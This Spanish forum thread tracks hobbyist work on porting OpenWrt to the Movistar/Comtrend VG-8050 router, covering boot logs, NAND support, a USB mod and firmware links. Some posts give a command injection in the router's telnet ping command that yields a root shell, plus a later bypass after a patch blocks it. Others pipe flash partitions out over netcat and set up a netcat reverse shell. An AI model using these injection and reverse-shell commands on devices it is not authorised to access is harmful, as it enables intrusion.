Seguridad Wireless - Wifi
Equipos y materiales => Puntos de acceso, routers, switchs y bridges => Openwrt & LEDE => Mensaje iniciado por: Noltari en 06-10-2014, 16:22 (Lunes)
-
Firmwares Originales de Movistar (sin bootloader CFE)
VG-8050-SB01-S412TLF-C08_R10 (https://drive.google.com/uc?id=0ByrtEG1tVo67V3BZdURzRld4OW8)
VG-8050-SB01-S412TLF-C07_R03 (https://drive.google.com/uc?id=0ByrtEG1tVo67OUpuQnk5cUFFTDA)
VG-8050-SB01-S412TLF-C06_R05 (https://drive.google.com/uc?id=0ByrtEG1tVo67ck9BbDYzYVYycWs)
Wiki
http://wiki.openwrt.org/toh/comtrend/vg8050
Código Fuente
https://github.com/openwrt-es/openwrt/commits/brcm63xx-vg8050 (https://github.com/openwrt-es/openwrt/commits/brcm63xx-vg8050)
Estado
Puerto serie soldado.
Cuando esté más avanzado el soporte para este router habrá que mirar el tema de hacer un mod USB, puesto que lleva dos conectores no soldados muy golosos en la placa (estilo WAP-5813n).
Realizando un backup completo de la NAND por UART.
Soporte inicial de OpenWrt.
Agradecimietos
Muchas gracias a SinHouse por donar este router a la ciencia ;D.
Mod USB
No realicéis el mod USB a no ser que sepáis lo que estáis haciendo.
- 1 x LM7805
- 1 x Condensador electrolítico 10-470µF 25V
- 2 x Resistencias 4.7KΩ 0,25W
- 1 x USB
(https://drive.google.com/uc?id=0ByrtEG1tVo67NU5RWDJvdmQ5TlE) (https://drive.google.com/uc?id=0ByrtEG1tVo67NU5RWDJvdmQ5TlE)
Y las resistencias de 4.7kΩ:
(https://drive.google.com/uc?id=0ByrtEG1tVo67c0c5cWdUVVJaZmM) (https://drive.google.com/uc?id=0ByrtEG1tVo67c0c5cWdUVVJaZmM)
Saludos!
-
Bien...
Tengo uno con menos de dos meses guardadito en su caja....
-
>:( >:( >:(
-
Buenas otra vez,
Al fin he conseguido adaptar la herramienta de dumpeo de la flash por uart (cfetool) para este router.
La acabo de poner, pero dumpear una NAND por uart puede llevar demasiado tiempo xD.
Saludos!
-
dumpear una NAND por uart puede llevar demasiado tiempo xD.
Unas 6 horas y media le calculo yo... ;D
-
Buenas otra vez,
He conseguido arrancar un ramdisk en el router sin fallos, aunque con ciertas carencias:
- El kernel no reconoce la memoria NAND, así que no hay acceso (aunque he visto en los parches de ralink uno que añade soporte para la misma NAND).
- No consigo que el driver b53 detecte el switch, aunque sospecho que es porque el Chip Select del switch debe de ser el 5/6 y es probable que haya que activarlos porque estén como GPIOs por defecto.
- El WiFi no funciona, como era de esperar, ya que nadie ha implementado el driver necesario aún.
- Los LEDs están conectados a los 74x164, para lo cual han quitado soporte vía platform data para el kernel 3.14. Tengo que probarlo en linux 3.10 a ver si los hago funcionar, hasta que muevan los GPIOs a DTS en el trunk.
Saludos!
Unas 6 horas y media le calculo yo... ;D
Al final ha tardado algo más: http://pastebin.com/gtPYGh8h
-
Unas 6 horas y media le calculo yo... ;D
Al final ha tardado algo más: http://pastebin.com/gtPYGh8h
¡Qué paciencia hay que tener para estos trastos!... ¡Dios!... 14 horas... :-X
-
Por si alguien quiere echarle un ojo (es el primer 63x68 del foro, por lo que aún quedan bastantes cosas por pulir):
http://pastebin.com/xwJcTscC
Saludos!
-
Ole, ole que rapido ;D
-
Voy a seguir muy de cerca este desarrollo, ya que creo que le podemos sacar un gran partido a este hw. Actualmente estoy con un tplink wr1043nd v1, pero tengo algunos problemas de rendimiento para tener la fibra con internet, voip y movistar tv a la vez en este hw. :-\
Gracias a todos los implicados, desarrolladores y al que ha donado el router para su estudio. >:(
-
>:( >:( ;D
-
Otro mas con este cacharro esperando a ver si lo exprimimos un poco mas.
-
Cómo va el desarrollo?
No creo que se pueda utilizar el WIFI en este comtrend (Tema driver) :-\
-
Hola,
Dejo el log del router.
Datos interesantes:
<6>Brcm NAND controller version = 4.0 NAND flash size 128MB @18000000
Linux version 2.6.30 (yanyang@rd7-server) (gcc version 4.4.2 (Buildroot 2010.02-git) ) #1 SMP PREEMPT Wed Jan 29 13:38:58 CST 2014
######wl version######
5.100 RC138.2008
Particiones /proc/mtd
<5>Creating 4 MTD partitions on "brcmnand.0":
<5>0x000000020000-0x000003d80000 : "rootfs"
<5>0x000003d80000-0x000007ae0000 : "rootfs_update"
<5>0x000007b00000-0x000007f00000 : "data"
<5>0x000000000000-0x000000020000 : "nvram"
<5>Kernel command line: root=mtd:rootfs ro rootfstype=jffs2 console=ttyS0,115200
<4>wait instruction: enabled
<4>Primary instruction cache 64kB, VIPT, 4-way, linesize 16 bytes.
<4>Primary data cache 32kB, 2-way, VIPT, cache aliases, linesize 16 bytes
<6>NR_IRQS:128
<4>PID hash table entries: 512 (order: 9, 2048 bytes)
<6>console [ttyS0] enabled
<6>Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
<6>Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
<4>Allocating memory for DSP module core and initialization code
<4>Allocated DSP module memory - CORE=0x0 SIZE=0, INIT=0x0 SIZE=0
<6>Memory: 124004k/129848k available (3212k kernel code, 5672k reserved, 853k data, 152k init, 0k highmem)
<6>Calibrating delay loop... 398.33 BogoMIPS (lpj=199168)
<4>Mount-cache hash table entries: 512
Configuración kernel
<6>--Kernel Config--
<6> SMP=1
<6> PREEMPT=1
<6> DEBUG_SPINLOCK=0
<6> DEBUG_MUTEXES=0
El router tiene dos puertos USB
<6>ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
<4>PCI: Enabling device 0000:00:0a.0 (0000 -> 0002)
<7>PCI: Setting latency timer of device 0000:00:0a.0 to 64
<6>ehci_hcd 0000:00:0a.0: EHCI Host Controller
<6>ehci_hcd 0000:00:0a.0: new USB bus registered, assigned bus number 1
<4>ehci_hcd 0000:00:0a.0: Enabling legacy PCI PM
<6>ehci_hcd 0000:00:0a.0: irq 18, io mem 0x10002500
<6>ehci_hcd 0000:00:0a.0: USB f.f started, EHCI 1.00
<6>usb usb1: configuration #1 chosen from 1 choice
<6>hub 1-0:1.0: USB hub found
<6>hub 1-0:1.0: 2 ports detected
/proc/cpuinfo
######/proc/cpuinfo######
system type : 963169P-1861N5
processor : 0
cpu model : Broadcom4350 V8.0
BogoMIPS : 398.33
wait instruction : yes
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : no
hardware watchpoint : no
ASEs implemented :
shadow register sets : 1
core : 0
VCED exceptions : not available
VCEI exceptions : not available
unaligned exceptions : 28016
processor : 1
cpu model : Broadcom4350 V8.0
BogoMIPS : 402.43
wait instruction : yes
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : no
hardware watchpoint : no
ASEs implemented :
shadow register sets : 1
core : 0
VCED exceptions : not available
VCEI exceptions : not available
Para obtener el dump entráis en el router vía telnet y ejecutáis dumpsysinfo
He modificado el log quitando datos sensibles
Os dejo el log en pastebin: http://pastebin.com/0g80L6BP
Saludos
Actualización:
He visto que hay un patch que da soporte a nuestra NAND MX30LF1G08AA
https://dev.openwrt.org/browser/trunk/target/linux/ramips/patches-3.10/0507-MTD-add-mt7621-nand-support.patch?rev=39040
-
Actualización:
He visto que hay un patch que da soporte a nuestra NAND MX30LF1G08AA
https://dev.openwrt.org/browser/trunk/target/linux/ramips/patches-3.10/0507-MTD-add-mt7621-nand-support.patch?rev=39040
Creo que el problema está en las NAND para el chipset Broadcom. El parche es para chipset Mediatek...
-
Entonces mal asunto :(
Sería posible arrancar OpenWrt usando un pendrive sólo con el kernel en la flash?
Saludos
-
Entonces mal asunto :(
Sería posible arrancar OpenWrt usando un pendrive sólo con el kernel en la flash?
Saludos
No estoy seguro de ello. Aunque el bootloader cargara el kernel de la flash, tendrías que hacer un monolítico con todos los módulos de USB y demás para continuar la carga desde USB. Complica la cosa, pero a lo mejor se puede. Lo que no sé es, si al no reconocer el kernel, el propio dispositivo desde el que se ha cargado, éste no se volverá "loco"...
-
Por si alguien quiere echarle un ojo (es el primer 63x68 del foro, por lo que aún quedan bastantes cosas por pulir):
http://pastebin.com/xwJcTscC
Saludos!
Buenas,
Cómo has cargado el archivo en el router ??? ;D
He visto que no modifica el firmware actual. Podrías dar más detalles?
http://wiki.openwrt.org/doc/howto/generic.flashing#install.a.ramdisk-image.into.main.memory
Sería posible este método?
Saludos
-
Por si alguien quiere echarle un ojo (es el primer 63x68 del foro, por lo que aún quedan bastantes cosas por pulir):
http://pastebin.com/xwJcTscC
Saludos!
Buenas,
Cómo has cargado el archivo en el router ??? ;D
He visto que no modifica el firmware actual. Podrías dar más detalles?
http://wiki.openwrt.org/doc/howto/generic.flashing#install.a.ramdisk-image.into.main.memory
Sería posible este método?
Saludos
Debería ser posible, pero tendrás que ceñirte a los comandos del CFE para cargar la imagen en RAM (usando puerto serie) o meter el ramdisk directo en la flash con la interfaz web que tiene el router.
-
Buenas,
No sé cómo va el proyecto, pero me parece que hasta que no se consiga cargar el kernel en NAND, el proyecto está KO
-
Buenas,
Acabo de añadir al primer post la documentación del mod USB que he conseguido realizar hoy.
Por favor, no intentéis este mod si no tenéis habilidad soldando.
A parte de eso, el proyecto está parado, ya que de momento me limito a cargar ramdisks, puesto que no podemos flashear un firmware si no podemos leer ni escribir en la NAND, ya que nos cargaríamos el firmware original y es interesante realizar un backup con un ramdisk antes, una vez que tengamos acceso a la NAND.
Por otro lado, no funcionan ni el WiFi, ni el ethernet, ni GPIOS de momento.
P.D: el mod USB funciona con el firmware original, puesto que trae soporte para USBs aunque estos no estén soldados.
Saludos!
-
Buenas,
Buen Mod ;D
En la página del fabricante está el driver de la NAND.
http://www.macronix.com/Lists/TechDoc/Attachments/3801/MX30LF1G08AA,%20LLD,%20v0.1.zip
DataSheet.
http://www.macronix.com/Lists/DataSheet/Attachments/1753/MX30LF1G08AA,%203V,%201Gb,%20v1.5.pdf
Mi idea es si se puede utilizar el driver para hacer un dump de la nand.
Si hay un parche de Ralink que añade soporte para la misma NAND, no funcionaría para el nuestro?
Modificación:
Este router me sorprende:
Direciones útiles:
- http://192.168.1.1/acccntr.cmd
- http://192.168.1.1/storageservicecfg.cmd?view SAMBA
- http://192.168.1.1/storageuseraccountcfg.cmd?view Crear cuenta SAMBA
- http://192.168.1.1/storagesmbcfg.cmd?action=view Configuracion puntos montaje
- http://192.168.1.1/pwrmngt.html Control de energía
- http://192.168.1.1/bmu.html???
- http://192.168.1.1/omcidownload.html???
- http://192.168.1.1/3gbackup.html Backup 3g
- http://192.168.1.1/pincfg.cmd ????
- http://192.168.1.1/omcidownload.html ???
- http://192.168.1.1/ippcfg.html Activar servidor de impresión
- http://192.168.1.1/dlnacfg.html DLNA
- http://192.168.1.1/wlbasic5G.html Wireless 5G ???
- http://192.168.1.1/wlwps5G.html WPS 5G
- http://192.168.1.1/wlcfgadv5G.html Configuación avanzada
Un saludo
-
Si hay un parche de Ralink que añade soporte para la misma NAND, no funcionaría para el nuestro?
Otras CPU sí tienen el código para escribir en la NAND portado, pero para las CPU Broadcom no existe ese driver todavía. No sé cuál es el problema, pero me imagino que alguna chufla con el kernel, o con el sistema de ficheros de la NAND, o simplemente nadie se ha puesto con ello todavía...
-
Buenas,
He conseguido obtener una shell.
Para entrar en el router:
alejandro@skynet:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
BCM963268 Broadband Router
Login: 1234
Password:
A continuación escribir:
ping echo `/bin/sh > /dev/tty`
Os saldrá esto:
BusyBox v1.17.2 (2014-01-29 13:42:38 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# ls
Quantenna data lib opt sys var
bin dev linuxrc proc tmp vmlinux.lz
cferam.009 etc mnt sbin usr webs
# help
Built-in commands:
------------------
. : alias break cd chdir continue eval exec exit export false
hash help let local pwd read readonly return set shift source
times trap true type ulimit umask unalias unset wait
#
>:D
Cosas interesantes:
# cd Quantenna/
# ls
ruby-linux.lzma.img u-boot.bin
Qué creéis que es?
El archivo ruby-linux.lzma.img está comprimido en lzma ^-^
# df
Filesystem 1024-blocks Used Available Use% Mounted on
mtd:rootfs 62848 23048 39800 37% /
mtd:data 4096 436 3660 11% /data
# cd /data/
# ls -last
8 -rw------- 1 1234 root 8192 Dec 10 21:18 scratchpad
24 -rw------- 1 1234 root 24818 Dec 10 20:08 psi
24 -rw------- 1 1234 root 24818 Dec 10 20:08 psibackup
0 drwxr-xr-x 3 1234 root 0 Jan 1 1970 .
0 drwxr-xr-x 17 1234 root 0 Jan 1 1970 ..
Para hacer un dump:
Los datos que vamos a guardar:
# cat /proc/mtd
dev: size erasesize name
mtd0: 03d60000 00020000 "rootfs"
mtd1: 03d60000 00020000 "rootfs_update"
mtd2: 00400000 00020000 "data"
mtd3: 00020000 00020000 "nvram"
Ejecutar:
nc -lp 4444 > backup-mtd0-rootfs <--- Abre un puerto. Ejecutar en vuestro ordenador
cat /dev/mtd0 | /usr/bin/nc 192.168.1.33 4444 <--- Ejecutar en vuestro router
nc -lp 4444 > backup-mtd1-rootfs_update
cat /dev/mtd1 | /usr/bin/nc 192.168.1.33 4444
nc -lp 4444 > backup-mtd2-data
cat /dev/mtd2 | /usr/bin/nc 192.168.1.33 4444
nc -lp 4444 > backup-mtd3-nvram
cat /dev/mtd3 | /usr/bin/nc 192.168.1.33 4444
Nota: Hacer un md5sum
Para montar el sistema de archivos en modo escritura:
mount -o remount,rw /
-
Buenas,
He conseguido obtener una shell.
Para entrar en el router:
alejandro@skynet:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
BCM963268 Broadband Router
Login: 1234
Password:
A continuación escribir:
ping echo `/bin/sh > /dev/tty`
Os saldrá esto:
BusyBox v1.17.2 (2014-01-29 13:42:38 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# ls
Quantenna data lib opt sys var
bin dev linuxrc proc tmp vmlinux.lz
cferam.009 etc mnt sbin usr webs
# help
Built-in commands:
------------------
. : alias break cd chdir continue eval exec exit export false
hash help let local pwd read readonly return set shift source
times trap true type ulimit umask unalias unset wait
#
>:D
Cosas interesantes:
# cd Quantenna/
# ls
ruby-linux.lzma.img u-boot.bin
Qué creéis que es?
El archivo ruby-linux.lzma.img está comprimido en lzma ^-^
# df
Filesystem 1024-blocks Used Available Use% Mounted on
mtd:rootfs 62848 23048 39800 37% /
mtd:data 4096 436 3660 11% /data
# cd /data/
# ls -last
8 -rw------- 1 1234 root 8192 Dec 10 21:18 scratchpad
24 -rw------- 1 1234 root 24818 Dec 10 20:08 psi
24 -rw------- 1 1234 root 24818 Dec 10 20:08 psibackup
0 drwxr-xr-x 3 1234 root 0 Jan 1 1970 .
0 drwxr-xr-x 17 1234 root 0 Jan 1 1970 ..
Para hacer un dump:
Los datos que vamos a guardar:
# cat /proc/mtd
dev: size erasesize name
mtd0: 03d60000 00020000 "rootfs"
mtd1: 03d60000 00020000 "rootfs_update"
mtd2: 00400000 00020000 "data"
mtd3: 00020000 00020000 "nvram"
Ejecutar:
nc -lp 4444 > backup-mtd0-rootfs <--- Abre un puerto. Ejecutar en vuestro ordenador
cat /dev/mtd0 | /usr/bin/nc 192.168.1.33 4444 <--- Ejecutar en vuestro router
nc -lp 4444 > backup-mtd1-rootfs_update
cat /dev/mtd1 | /usr/bin/nc 192.168.1.33 4444
nc -lp 4444 > backup-mtd2-data
cat /dev/mtd2 | /usr/bin/nc 192.168.1.33 4444
nc -lp 4444 > backup-mtd3-nvram
cat /dev/mtd3 | /usr/bin/nc 192.168.1.33 4444
Nota: Hacer un md5sum
Para montar el sistema de archivos en modo escritura:
mount -o remount,rw /
No sabes lo bien que me ha venido la shell en el firmware original :D
Gracias a esto he podido confirmar que el switch está conectado por HSSPI al CS5.
Me estaba volviendo loco porque no conseguía que b53 me detectara el switch en ningún CS.
Ahora puedo centrarme en averiguar qué está fallando exactamente porque ya sé dónde va conectado.
Saludos.
-
Buenas otra vez,
Por fin he conseguido hacer funcionar los LEDs en este router:
http://pastebin.com/j2pyv4Jd
Hay que modificar el registro GPIOMode y habilitar los pines 0 y 1 como GPIOs para poder hacer funcionar los LEDs asignados en las salidas de los 74HC164D que lleva el router.
El problema es que no hay ningún pinmux driver para bcm63xx, por lo que de momento habría que hacerlo con una escritura un poco hackish desde board_common.c.
Por mi cuenta he desarrollado un driver pinmux para bcm63xx, pero a jogo no le convence:
http://pastebin.com/dNwrASMC
Así que el desarrollo del router queda parado a la espera de poder avanzar en cuanto al pinmux driver.
A parte de eso quedaría el tema de la NAND, el switch y el WiFi.
Saludos!
-
Buenas otra vez,
Por fin he conseguido hacer funcionar los LEDs en este router:
http://pastebin.com/j2pyv4Jd
Hay que modificar el registro GPIOMode y habilitar los pines 0 y 1 como GPIOs para poder hacer funcionar los LEDs asignados en las salidas de los 74HC164D que lleva el router.
El problema es que no hay ningún pinmux driver para bcm63xx, por lo que de momento habría que hacerlo con una escritura un poco hackish desde board_common.c.
Por mi cuenta he desarrollado un driver pinmux para bcm63xx, pero a jogo no le convence:
http://pastebin.com/dNwrASMC
Así que el desarrollo del router queda parado a la espera de poder avanzar en cuanto al pinmux driver.
A parte de eso quedaría el tema de la NAND, el switch y el WiFi.
Saludos!
>:( >:( >:(
-
En el directorio /webs está el html del configurador web. Hay una página que te permite directamente descargar la FLASH completa (son 128 MB) o partes de ella:
http://192.168.1.1/backupnandflash.html (http://192.168.1.1/backupnandflash.html)
-
Hola, igual digo una tontería pero parece que han añadido el soporte para los chips NAND que hace falta:
[PATCH 3/3] mtd: nand: add NAND driver for Broadcom STB NAND controller (https://lkml.org/lkml/2015/3/6/906)
Un saludo
-
Hola, igual digo una tontería pero parece que han añadido el soporte para los chips NAND que hace falta:
[PATCH 3/3] mtd: nand: add NAND driver for Broadcom STB NAND controller (https://lkml.org/lkml/2015/3/6/906)
Un saludo
Efectivamente aunque parece que todavía está en proceso de ser aceptado, van por la versión 2 del parche y por lo que veo Florian lo está revisando.
-
Pregunta del millón: ¿no hay manera de soldar una flash SPI y que arranque desde ella? ???
Es interesante que tenga los pads para soldar un socket miniPCI, como el AR-5381, aunque haría falta averiguar qué componentes necesita a más para que se pueda usar. :-\
-
Añadidos al primer post dos firmwares extraídos de la NAND del router.
Para extraer los firmwares he realizado un backup de la NAND desde la web que proporciona el firmware original backupflash.html.
Sin embargo, este backup contiene los datos OOB de la NAND, por lo que dichos datos han de ser eliminados para que el backup pueda ser correctamente flasheado.
Para ello he desarrollado una herramienta que elimina dichos datos: https://github.com/openwrt-es/nandtools
He comparado dicho backup con el obtenido mediante el driver de la NAND para OpenWrt que Brian Norris y Kevin Cernekee han desarrollado, y al cual yo he añadido ciertas modificaciones para que fuera compatible con los BCM63268.
Más info: https://github.com/openwrt-es/openwrt/commit/ec7552edcdedebd92f4fee4bf0d8aded272b7426
Ahora que ya tenemos lectura/escritura/borrado en la NAND desde OpenWrt el problema es el sistema de carga del firmware que utiliza Broadcom:
Una única partición JFFS2 en la NAND que contiene el kernel como un fichero más, así como un secondstage bootloader (cferam) que es ejecutado por el bootloader principal (cferom), y que se encarga de ejecutar el kernel: cferom -> cferam -> kernel.
Como os podéis imaginar el código fuente de cferam es propietario, por lo que no está disponible.
Así que existen varias alternativas para poder ejecutar OpenWrt:
1) Incluir el binario original del cferam en una partición con sistema de ficheros JFFS2 que contenga además el kernel, y ubicar el sistema de ficheros por separado en otra partición (el sistema de ficheros podría ser ubifs).
2) Añadir soporte en uboot para el 63268 y hacer una partición que contenga el cferam y el uboot, de forma que dicha partición sólo será creada una única vez y será uboot quien se encargue de flashear OpenWrt en la NAND.
La 2 es la más lógica y cómoda a largo plazo, pero la 1 es la más sencilla.
Y hasta aquí los avances en los BCM63268, perdón por el testamento.
Un saludo,
Noltari.
-
Jo, menudo chorizo de parche. >:(
Hasta donde entiendo el CFE es la pega, ¿no?
Por cierto ¿U-boot para BCM63xx no es un pelín quimera? ???
-
Hace unos pocos días Movistar ha actualizado automáticamente el firmware del router a la versión C08_R10.
Device Info
Board ID: 963169P-1861N5
Software Version: SB01-S412TLF-C08_R10
Bootloader (CFE) Version: 1.0.38-112.70-14
Wireless Driver Version: 6.30.102.7.cpe4.12L04.1
El "truco" para conseguir una shell ya no funciona:
> ping echo `/bin/sh > /dev/tty`
Warning: operator ` is not supported!
-
Añadido al primer post el código fuente más reciente hasta la fecha, que incluye soporte para leer la NAND (sí, he desactivado la escritura para que no haya accidentes) y soporte del switch, por lo que ya hay comunicación vía ethernet ;D (gracias a la ayuda de jogo).
https://github.com/openwrt-es/openwrt/commits/brcm63xx-vg8050
Jo, menudo chorizo de parche. >:(
Hasta donde entiendo el CFE es la pega, ¿no?
Por cierto ¿U-boot para BCM63xx no es un pelín quimera? ???
Alguna solución hay que inventar, sea la que sea, porque el método utilizado por Broadcom no deja muchas opciones...
Hace unos pocos días Movistar ha actualizado automáticamente el firmware del router a la versión C08_R10.
Device Info
Board ID: 963169P-1861N5
Software Version: SB01-S412TLF-C08_R10
Bootloader (CFE) Version: 1.0.38-112.70-14
Wireless Driver Version: 6.30.102.7.cpe4.12L04.1
El "truco" para conseguir una shell ya no funciona:
> ping echo `/bin/sh > /dev/tty`
Warning: operator ` is not supported!
Seguramente la solución del error haya venido de Comtrend y no de Movistar...
Saludos!
-
Añadido al primer post el último firmware disponible: VG-8050-SB01-S412TLF-C08_R10
Saludos.
-
Hola,
Soy nuevo con la fibra de Telefonica, me pusieron el Mitrastar, pero se colgaba, no me permitia protocolo-41 a traves de la DMZ (funcionaba cuando queria), se reiniciaba, etc.
Ante eso, puse OpenWRT en un router Comtrend AR5387un, y me funciona increible, pero claro tiene puertos de 100 en lugar de Gigabit ...
He logrado que me cambien el Mitrastar por el VG-8050, que aunque tenia criticas por la WiFi, a mi me da igual (esta en un cuartucho del garaje que es donde tengo la conexion de fibra), porque tengo varios AP y conexiones Gigabit en los puntos de la casa.
La verdad es que me parece que entre los equipos que entrega Telefonica, es la mejor opcion por el chipset, pues otros (incluido el Mitrastar), llevan Realtek u otros chips peores y me da que no es facil poner OpenWRT.
He probado el VG-8050 y me va muy bien, incluso me permite configurar el tunel IPv6 (dice 6rd pero admite 6in4 sin problema) sin necesidad de poner en el DMZ un equipo que lo haga.
Lo que no me habia dado cuenta es que el VG-8050 aun no esta soportado ...
Hace muchos años que no programo, asi que en eso estoy desfasado, pero si me ofrezco para pruebas de lo que vayais haciendo si os hace falta (en configuracion de redes soy usuario avanzado, trabajo en eso de hecho).
Tengo tambien convertidor TTL-serie a USB y lo he usado con exito para hacer pruebas con otros routers antes de poner el Comtrend AR5387un.
Asi que ya me direis si puedo ayudar de alguna forma.
-
Hola...
¿Alguien tiene el firmware original SB01-S412TLF-C08_R08 ?
Me gustaría probar la opción de TV Services (DLNA) de los canales de movistar Tv. En la última lo han quitado del menú de configuración.
¿Es posible que se pueda acceder a esa configuración directamente (algo así como 192.168.1.1/tvservices.html) ???
Gracias
-
He probado el VG-8050 y me va muy bien, incluso me permite configurar el tunel IPv6 (dice 6rd pero admite 6in4 sin problema) sin necesidad de poner en el DMZ un equipo que lo haga.
Lo que no me habia dado cuenta es que el VG-8050 aun no esta soportado ...
No está soportado oficialmente porque la flash es NAND. Tendrás que compilar tu propio firm a partir de este repo: brcm63xx-vg8050 (https://github.com/openwrt-es/openwrt/tree/brcm63xx-vg8050)
Si no recuerdo mal la wifi no funcionará.
-
Hola, soy nuevo por aquí, me ofresco para ayudar en lo poco que pueda, necesito saber cómo levanto en ram desde tftp openWrt para este router, lo he intentado con las fuentes de Noltari pero ni el .elf ni el .squashfs levantan bien.
Gracias de antemano y un saludo.
-
Firmwares Originales de Movistar (sin bootloader CFE)
VG-8050-SB01-S412TLF-C08_R10 (https://drive.google.com/uc?id=0ByrtEG1tVo67V3BZdURzRld4OW8)
Buenas,
Me gustaría saber si el firmware original se puede flashear directamente a través de http://192.168.1.1/upload.html
o siguiendo el procedimiento descrito en la wiki del router:
Flashing ANY Firmware
You must set your TCP/IP v4 protocol to:
IP: 192.168.1.2
Netmask: 255.255.255.0
Gateway: 192.168.1.1
DNS: (optional, can be blank).
Then:
Power off the router.
Press reset button near the antenna.
Keep it pressed while powering up during ~20+ seconds.
Acces to http://192.168.1.1 and upload binary file.
Wait until router reboots.
Saludos
-
Hola...
¿Alguien tiene el firmware original SB01-S412TLF-C08_R08 ?
Me gustaría probar la opción de TV Services (DLNA) de los canales de movistar Tv. En la última lo han quitado del menú de configuración.
¿Es posible que se pueda acceder a esa configuración directamente (algo así como 192.168.1.1/tvservices.html) ???
Gracias
Algún crack podría contestarme....
Gracias chicos
-
Hola...
¿Alguien tiene el firmware original SB01-S412TLF-C08_R08 ?
Me gustaría probar la opción de TV Services (DLNA) de los canales de movistar Tv. En la última lo han quitado del menú de configuración.
¿Es posible que se pueda acceder a esa configuración directamente (algo así como 192.168.1.1/tvservices.html) ???
Gracias
Algún crack podría contestarme....
Gracias chicos
Este subforo está dedicado a OpenWRT. Para consultas sobre los firms originales de los routers hay muchos otros foros y wikis que tratan esos temas.
-
Buenas, estimados cracks del foro....
¿este tema sigue parado no? o se ha logrado algo.... Tengo este router en casa me gustaría poder meterle openwrt, hacerle el USBMOD, y poder sacarle de verdad provecho, (ya que me ocupa medio mueble) que por lo menos lo valga jaja.
Salu2
-
A mi también me gustaría saber como esta el tema, tengo ese trasto en casa y aunque tengo pensando comprarme un WDR4300 me gustaría poder sacarle algo de partido al VG-8050
-
Buenas, estimados cracks del foro....
¿este tema sigue parado no? o se ha logrado algo.... Tengo este router en casa me gustaría poder meterle openwrt, hacerle el USBMOD, y poder sacarle de verdad provecho, (ya que me ocupa medio mueble) que por lo menos lo valga jaja.
Salu2
A mi también me gustaría saber como esta el tema, tengo ese trasto en casa y aunque tengo pensando comprarme un WDR4300 me gustaría poder sacarle algo de partido al VG-8050
Buenas,
Pues el único progreso que he conseguido hacer últimamente es que funcione la interrupción para leer/escribir en la NAND, por lo que ya no hay que hacer polling.
Por si alguien le quiere echar un ojo está en la rama bmips-devel de mi repositorio en Github:
https://github.com/openwrt-es/openwrt/tree/bmips-devel/target/linux/bmips
Aun así, faltaría conseguir crear un firmware compatible con la estructura adecuada para la NAND, que es un poco extraña.
Este paso es bastante crítico, ya que hacerlo mal implica quedarnos con un pisapapeles bastante grande, puesto que en el firmware ha de ir incluido un second-stage CFE.
Por otro lado, también conseguí que funcionara el switch. Para el que lo quiera probar, lo tiene disponible en la rama brcm63xx-devel de mi repositorio:
https://github.com/openwrt-es/openwrt/tree/brcm63xx-devel/target/linux/brcm63xx
P.D: son pequeños avances que se van haciendo, pero no por ello menos importantes.
Hay que tener en cuenta que nunca ha habido ningún router con NAND en la plataforma BCM63xx y la estructura utilizada por Broadcom no ayuda en absoluto.
Saludos!
-
P.D: son pequeños avances que se van haciendo, pero no por ello menos importantes.
Las cosas siempre son sencillas.
Lo difícil es, que hacerlo sencillo, muchas veces, es muy complicado.
-
Hace unos pocos días Movistar ha actualizado automáticamente el firmware del router a la versión C08_R10.
Device Info
Board ID: 963169P-1861N5
Software Version: SB01-S412TLF-C08_R10
Bootloader (CFE) Version: 1.0.38-112.70-14
Wireless Driver Version: 6.30.102.7.cpe4.12L04.1
El "truco" para conseguir una shell ya no funciona:
> ping echo `/bin/sh > /dev/tty`
Warning: operator ` is not supported!
Seguramente la solución del error haya venido de Comtrend y no de Movistar...
Saludos!
Me he registrado prácticamente para responder esto.
Podéis sustituir la función que hacen las `` por los actuales $(); a mí me ha funcionado.
ping echo $(/bin/sh > /dev/tty)
¡Saludos!
-
¿Cómo lo véis? ¿Chungo?
La verdad es que el router tiene muy buena pinta. Con el mod de USB, las 128MB ram y el switch dedicado ethernet parece una joyita. Yo lo quiero para OpenFlow y sería la leche poder arrancar openwrt.
Por lo que he visto, hay conexión con la NAND y el switch. ¿Qué faltaría para el soporte completo de OpenWRT?
-
Hace unos pocos días Movistar ha actualizado automáticamente el firmware del router a la versión C08_R10.
Device Info
Board ID: 963169P-1861N5
Software Version: SB01-S412TLF-C08_R10
Bootloader (CFE) Version: 1.0.38-112.70-14
Wireless Driver Version: 6.30.102.7.cpe4.12L04.1
El "truco" para conseguir una shell ya no funciona:
> ping echo `/bin/sh > /dev/tty`
Warning: operator ` is not supported!
Seguramente la solución del error haya venido de Comtrend y no de Movistar...
Saludos!
Me he registrado prácticamente para responder esto.
Podéis sustituir la función que hacen las `` por los actuales $(); a mí me ha funcionado.
ping echo $(/bin/sh > /dev/tty)
¡Saludos!
¿Ha alguien se le ocurre un forma de lanzar una segunda instancia de telnet ssh que arranque el shel directamente?
Con el método propuesto, funciona pero hay un temporizador muy molesto.
-
He encontrado una solución intermedia. Haciendo un reverse shell con:
Ejecutando esto en el ordenador
nc -Lvp 9998 -s 0.0.0.0 para la salida
nc -Lvp 9999 -s 0.0.0.0 para la entrada
Y esto en el router con la shell iniciada mediante ping echo $(/bin/sh > /dev/tty)
nc ip_ordenador 9998 | sh | nc ip_ordenador 9999
Así se puede investigar mas tranquilamente aunque al final la conexión temporiza.
-
¿Teneis el SB01-S412TLF-C09_R03?
Un saludo
-
Buenas compis, entiendo que aún no se puede instalar openWRT en este cacharro, pero ¿se pueden probar algunas cosillas? ¿Como hago para probar las cositas que Noltari ha conseguido? (ya tengo clonado el repo de github)
Muchas gracias.
Un saludo.
-
Buenas compis, entiendo que aún no se puede instalar openWRT en este cacharro, pero ¿se pueden probar algunas cosillas? ¿Como hago para probar las cositas que Noltari ha conseguido? (ya tengo clonado el repo de github)
Muchas gracias.
Un saludo.
Me imagino que has de compilar un firmware RAM, de esta forma se carga todo el sistema en RAM sin tocar la flash. Tendrías un Openwrt totalmente funcional, pero en cuanto apagases el router tendrías que volver a cargarlo en RAM manualmente. Para cargar manualmente un firmware RAM en CFE necesitas acceso por puerto serie para meterle el comando
